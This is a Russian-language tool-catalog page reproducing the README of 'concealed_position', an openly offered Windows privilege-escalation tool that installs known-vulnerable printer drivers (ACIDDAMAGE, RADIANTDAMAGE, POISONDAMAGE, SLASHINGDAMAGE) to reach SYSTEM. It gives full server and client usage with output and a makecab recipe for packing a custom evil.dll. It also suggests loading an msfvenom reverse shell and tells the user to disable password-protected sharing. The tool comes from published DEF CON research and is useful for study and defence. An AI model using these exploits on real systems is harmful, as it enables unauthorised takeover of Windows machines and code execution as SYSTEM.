Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
concealed_position — Инструмент повышения привилегий с собственным драйвером принтера | Kitploit
Инструменты/GitHubGitHub/jacob-baines/concealed_position
Повышение привилегийАнализ уязвимостейЭксплуатацияТестирование на Проникновение
GitHubjacob-baines/concealed_position

concealed_position

Инструмент повышения привилегий с собственным драйвером принтера

Репозиторий
263445 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Скрытая позиция

Concealed Position — это атака локального повышения привилегий на Windows, использующая концепцию «Bring Your Own Vulnerability». В частности, Concealed Position (CP) использует предусмотренную логику пакетной точки и печати в Windows, которая позволяет пользователю с низкими привилегиями размещать и устанавливать драйверы принтера. CP специально устанавливает драйверы с известными уязвимостями, которые затем эксплуатируются для повышения привилегий до SYSTEM. Concealed Position впервые был представлен на DEF CON 29.

Какие эксплойты доступны

Concealed Position предлагает четыре эксплойта — все с одинаково глупыми названиями:

  • ACIDDAMAGE — CVE-2021-35449 — LPE драйвера Lexmark Universal Print Driver
  • RADIANTDAMAGE — CVE-2021-38085 — LPE драйвера Canon TR150 Print Driver
  • POISONDAMAGE — CVE-2019-19363 — LPE драйвера Ricoh PCL6 Print Driver
  • SLASHINGDAMAGE — CVE-2020-1300 — LPE диспетчера печати Windows

Эксплойты хороши тем, что, кроме SLASHINGDAMAGE, они будут продолжать работать даже после исправления проблем. Единственный механизм Windows для предотвращения использования старых драйверов — отзыв сертификата драйвера — исторически (?) не применяется.

Но какой эксплойт мне использовать?!

Вероятно, ACIDDAMAGE. RADIANTDAMAGE и POISONDAMAGE — это состояния гонки (для перезаписи DLL), а SLASHINGDAMAGE, надеюсь, уже исправлен везде.

Как это работает?

Concealed Position состоит из двух частей: зловредного принтера и клиента. Клиент обращается к серверу, получает драйвер, сохраняет его в хранилище драйверов, устанавливает принтер и эксплуатирует процесс установки. Легко! На языке MSAPI атака выглядит примерно так:

root@kitploit:~
Шаг 1: Разместить драйвер в хранилище драйверов
клиент -> сервер: GetPrinterDriver
сервер -> клиент: Ответ с драйвером

Шаг 2: Установить драйвер из хранилища драйверов
клиент: InstallPrinterDriverFromPackage

Шаг 3: Добавить локальный принтер (этап эксплуатации)
клиент: Add printer

Важно отметить, что SLASHINGDAMAGE на самом деле работает не так. SLASHINGDAMAGE — это реализация атаки зловредного принтера, описанной на DEFCON 28 (2020), и давно исправлена. Мне просто нравится эта атака (она дала толчок всему остальному), и я решил оставить этот эксплойт в своём зловредном сервере... как бы странно это ни звучало.

Это уязвимость Windows?

Спорно, да. Хранилище драйверов — это «доверенная коллекция ... сторонних пакетов драйверов», для изменения которой требуется доступ администратора. Используя GetPrinterDriver, атакующий с низкими привилегиями может разместить произвольные драйверы в хранилище. На мой взгляд, это пересекает чёткую границу безопасности.

Microsoft, похоже, согласилась, выпустив CVE-2021-34481.

Хотя... можно утверждать, что это просто особенность системы, а не уязвимость. На самом деле это не так важно. Атакующий может повысить привилегии до SYSTEM на стандартных установках Windows.

Какие версии Windows затронуты CVE-2021-34481?

Как минимум Windows 8.1 и выше.

Как использовать эти инструменты?

Просто! Настолько просто, что будет много абзацев для описания!

CP Server

Сначала посмотрим на параметры командной строки cp_server:

root@kitploit:~
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe
 _______  _______  __    _  _______  _______  _______  ___      _______  ______
|       ||       ||  |  | ||       ||       ||   _   ||   |    |       ||      |
|       ||   _   ||   |_| ||       ||    ___||  |_|  ||   |    |    ___||  _    |
|       ||  | |  ||       ||       ||   |___ |       ||   |    |   |___ | | |   |
|      _||  |_|  ||  _    ||      _||    ___||       ||   |___ |    ___|| |_|   |
|     |_ |       || | |   ||     |_ |   |___ |   _   ||       ||   |___ |       |
|_______||_______||_|  |__||_______||_______||__| |__||_______||_______||______|
 _______  _______  _______  ___   _______  ___   _______  __    _
|       ||       ||       ||   | |       ||   | |       ||  |  | |
|    _  ||   _   ||  _____||   | |_     _||   | |   _   ||   |_| |
|   |_| ||  | |  || |_____ |   |   |   |  |   | |  | |  ||       |
|    ___||  |_|  ||_____  ||   |   |   |  |   | |  |_|  ||  _    |
|   |    |       | _____| ||   |   |   |  |   | |       || | |   |
|___|    |_______||_______||___|   |___|  |___| |_______||_|  |__|    server!

CLI options:
  -h, --help                     Display the help message
  -e, --exploit arg              The exploit to use
  -c, --cabs arg (=.\cab_files)  The location of the cabinet files

Exploits available:
        ACIDDAMAGE
        POISONDAMAGE
        RADIANTDAMAGE
        SLASHINGDAMAGE

C:\Users\albinolobster\concealed_position\build\x64\Release\bin>

Как показано выше, серверу требуется два параметра:

  1. Эксплойт для настройки принтера
  2. Путь к файлам cab из этого репозитория (по умолчанию — .\cab_files)

Например, предположим, мы хотим настроить зловредный принтер, который будет раздавать драйвер ACIDDAMAGE. Просто сделайте это:

root@kitploit:~
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe -e ACIDDAMAGE
 _______  _______  __    _  _______  _______  _______  ___      _______  ______
|       ||       ||  |  | ||       ||       ||   _   ||   |    |       ||      |
|       ||   _   ||   |_| ||       ||    ___||  |_|  ||   |    |    ___||  _    |
|       ||  | |  ||       ||       ||   |___ |       ||   |    |   |___ | | |   |
|      _||  |_|  ||  _    ||      _||    ___||       ||   |___ |    ___|| |_|   |
|     |_ |       || | |   ||     |_ |   |___ |   _   ||       ||   |___ |       |
|_______||_______||_|  |__||_______||_______||__| |__||_______||_______||______|
 _______  _______  _______  ___   _______  ___   _______  __    _
|       ||       ||       ||   | |       ||   | |       ||  |  | |
|    _  ||   _   ||  _____||   | |_     _||   | |   _   ||   |_| |
|   |_| ||  | |  || |_____ |   |   |   |  |   | |  | |  ||       |
|    ___||  |_|  ||_____  ||   |   |   |  |   | |  |_|  ||  _    |
|   |    |       | _____| ||   |   |   |  |   | |       || | |   |
|___|    |_______||_______||___|   |___|  |___| |_______||_|  |__|    server!

[+] Creating temporary space...
[+] Expanding .\cab_files\ACIDDAMAGE\LMUD1o40.cab
[+] Pushing into the driver store
[+] Cleaning up tmp space
[+] Installing print driver
[+] Driver installed!
[+] Installing shared printer
[+] Shared printer installed!
[+] Automation Done.
[!] IMPORTANT MANUAL STEPS!
[0] In Advanced Sharing Settings, Turn off password protected sharing.
[1] Ready to go!

C:\Users\albinolobster\concealed_position\build\x64\Release\bin>

Вот и всё, на вашей системе появится новый принтер:

root@kitploit:~
PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin> Get-Printer

Name                           ComputerName    Type         DriverName                PortName        Shared   Publishe
                                                                                                               d
----                           ------------    ----         ----------                --------        ------   --------
ACIDDAMAGE                                     Local        Lexmark Universal v2      LPT1:           True     False
CutePDF Writer                                 Local        CutePDF Writer v4.0       CPW4:           False    False
OneNote for Windows 10                         Local        Microsoft Software Pri... Microsoft.Of... False    False
Microsoft XPS Document Writer                  Local        Microsoft XPS Document... PORTPROMPT:     False    False
Microsoft Print to PDF                         Local        Microsoft Print To PDF    PORTPROMPT:     False    False
Fax                                            Local        Microsoft Shared Fax D... SHRFAX:         False    False


PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin>

Обратите внимание, что cp_server предлагает один ручной шаг. Поскольку я хакер-дилетант, я не смог придумать, как программно отключить «Защищённый общий доступ с паролем» в «Дополнительных параметрах общего доступа». Вам придётся сделать это самостоятельно!

Процесс использования SLASHINGDAMAGE немного отличается. Сначала необходимо установить CutePDF Writer (установщики находятся в каталоге 3rd party). Затем запустить cp_server и после этого выполнить несколько ручных шагов и перезагрузить компьютер.

CP Client

Клиент так же прост в использовании. Посмотрим на его параметры командной строки:

root@kitploit:~
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_client.exe
 _______  _______  __    _  _______  _______  _______  ___      _______  ______
|       ||       ||  |  | ||       ||       ||   _   ||   |    |       ||      |
|       ||   _   ||   |_| ||       ||    ___||  |_|  ||   |    |    ___||  _    |
|       ||  | |  ||       ||       ||   |___ |       ||   |    |   |___ | | |   |
|      _||  |_|  ||  _    ||      _||    ___||       ||   |___ |    ___|| |_|   |
|     |_ |       || | |   ||     |_ |   |___ |   _   ||       ||   |___ |       |
|_______||_______||_|  |__||_______||_______||__| |__||_______||_______||______|
 _______  _______  _______  ___   _______  ___   _______  __    _
|       ||       ||       ||   | |       ||   | |       ||  |  | |
|    _  ||   _   ||  _____||   | |_     _||   | |   _   ||   |_| |
|   |_| ||  | |  || |_____ |   |   |   |  |   | |  | |  ||       |
|    ___||  |_|  ||_____  ||   |   |   |  |   | |  |_|  ||  _    |
|   |    |       | _____| ||   |   |   |  |   | |       || | |   |
|___|    |_______||_______||___|   |___|  |___| |_______||_|  |__|    client!

CLI options:
  -h, --help         Display the help message
  -r, --rhost arg    The remote evil printer address
  -n, --name arg     The remote evil printer name
  -e, --exploit arg  The exploit to use
  -l, --local        No remote printer. Local attack only.
  -d, --dll arg      Path to user provided DLL to execute.

Exploits available:
        ACIDDAMAGE
        POISONDAMAGE
        RADIANTDAMAGE

Во-первых, хочу упомянуть опцию --dll. Клиент имеет встроенную полезную нагрузку, которая просто записывает файл C:\result.txt. Однако пользователи могут предоставить свою собственную DLL через эту опцию. Хороший пример того, что можно использовать — обратный шелл x64, созданный msfvenom. Но в остальном мы будем считать, что используется встроенная полезная нагрузка.

cp_client имеет два режима: удалённый и локальный. Удалённый вариант наиболее интересен, так как он добавляет уязвимый драйвер в хранилище драйверов (тем самым реализуя атаку «принеси свой собственный драйвер принтера»), поэтому сначала рассмотрим его. Допустим, я хочу подключиться к зловредному принтеру ACIDDAMAGE, который мы настроили ранее. Для этого нужно указать:

  1. Используемый эксплойт
  2. IP-адрес зловредного принтера
  3. Имя общего зловредного принтера

Вот так!

root@kitploit:~
C:\Users\albinolobster\Desktop>cp_client.exe -r 10.0.0.9 -n ACIDDAMAGE -e ACIDDAMAGE
 _______  _______  __    _  _______  _______  _______  ___      _______  ______
|       ||       ||  |  | ||       ||       ||   _   ||   |    |       ||      |
|       ||   _   ||   |_| ||       ||    ___||  |_|  ||   |    |    ___||  _    |
|       ||  | |  ||       ||       ||   |___ |       ||   |    |   |___ | | |   |
|      _||  |_|  ||  _    ||      _||    ___||       ||   |___ |    ___|| |_|   |
|     |_ |       || | |   ||     |_ |   |___ |   _   ||       ||   |___ |       |
|_______||_______||_|  |__||_______||_______||__| |__||_______||_______||______|
 _______  _______  _______  ___   _______  ___   _______  __    _
|       ||       ||       ||   | |       ||   | |       ||  |  | |
|    _  ||   _   ||  _____||   | |_     _||   | |   _   ||   |_| |
|   |_| ||  | |  || |_____ |   |   |   |  |   | |  | |  ||       |
|    ___||  |_|  ||_____  ||   |   |   |  |   | |  |_|  ||  _    |
|   |    |       | _____| ||   |   |   |  |   | |       || | |   |
|___|    |_______||_______||___|   |___|  |___| |_______||_|  |__|    client!

[+] Checking if driver is already installed
[-] Driver is not available.
[+] Call back to evil printer @ \\10.0.0.9\ACIDDAMAGE
[+] Staging driver in driver store
[+] Installing the staged driver
[+] Driver installed!
[+] Starting AcidDamage
[+] Checking if C:\ProgramData\Lexmark Universal v2\ exists
[-] Target directory doesn't exist. Trigger install.
[+] Installing printer
[+] Read in C:\ProgramData\Lexmark Universal v2\Universal Color Laser.gdl
[+] Searching file contents
[+] Updating file contents
[+] Dropping updated gpl
[+] Dropping Dll.dll to disk
[+] Staging dll in c:\tmp
[+] Installing printer
[!] Mucho success!

Вот и всё! Чтобы выполнить только локальную атаку, нужно просто указать эксплойт:

root@kitploit:~
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_client.exe -l -e ACIDDAMAGE
 _______  _______  __    _  _______  _______  _______  ___      _______  ______
|       ||       ||  |  | ||       ||       ||   _   ||   |    |       ||      |
|       ||   _   ||   |_| ||       ||    ___||  |_|  ||   |    |    ___||  _    |
|       ||  | |  ||       ||       ||   |___ |       ||   |    |   |___ | | |   |
|      _||  |_|  ||  _    ||      _||    ___||       ||   |___ |    ___|| |_|   |
|     |_ |       || | |   ||     |_ |   |___ |   _   ||       ||   |___ |       |
|_______||_______||_|  |__||_______||_______||__| |__||_______||_______||______|
 _______  _______  _______  ___   _______  ___   _______  __    _
|       ||       ||       ||   | |       ||   | |       ||  |  | |
|    _  ||   _   ||  _____||   | |_     _||   | |   _   ||   |_| |
|   |_| ||  | |  || |_____ |   |   |   |  |   | |  | |  ||       |
|    ___||  |_|  ||_____  ||   |   |   |  |   | |  |_|  ||  _    |
|   |    |       | _____| ||   |   |   |  |   | |       || | |   |
|___|    |_______||_______||___|   |___|  |___| |_______||_|  |__|    client!

[+] Checking if driver is already installed
[+] Driver installed!
[+] Starting AcidDamage
[+] Checking if C:\ProgramData\Lexmark Universal v2\ exists
[-] Target directory doesn't exist. Trigger install.
[+] Installing printer
[+] Read in C:\ProgramData\Lexmark Universal v2\Universal Color Laser.gdl
[+] Searching file contents
[+] Updating file contents
[+] Dropping updated gpl
[+] Dropping Dll.dll to disk
[+] Staging dll in c:\tmp
[+] Installing printer
[!] Mucho success!

C:\Users\albinolobster\concealed_position\build\x64\Release\bin>

Почему в клиенте нет опции SLASHINGDAMAGE?

SLASHINGDAMAGE не требует специального клиента для эксплуатации. Вы можете просто использовать UI или командную строку для подключения к удалённому принтеру, и всё! К сожалению, если вы хотите использовать собственную полезную нагрузку, вам придётся обновить CAB в каталоге cab_files. Но это легко. Что-то вроде:

root@kitploit:~
echo “evil.dll” “../../evil.dll” > files.txt
makecab /f files.txt
move disk1/1.cab exploit.cab

Вероятно, важно знать, что версия SLASHINGDAMAGE в репозитории помещает ualapi.dll в SYSTEM32, и при выполнении после перезагрузки она создаёт файл C:\result.txt.

Pull Request'ы и Баги

Хотите отправить pull request или сообщить об ошибке? Отлично! Я ценю это, но если вы не предоставите достаточно деталей для воспроизведения бага или объяснения, почему pull request должен быть принят, с вероятностью 100% я закрою ваш issue без комментариев. Я ценю вас, но я также довольно занят.

Прочее

Стоит отметить, что DLL inject_me на самом деле встроена в cp_client в виде массива C. Если вы обновите inject_me, вам нужно будет вручную обновить и массив C (просто используйте xxd для генерации массива).

Скачать инструмент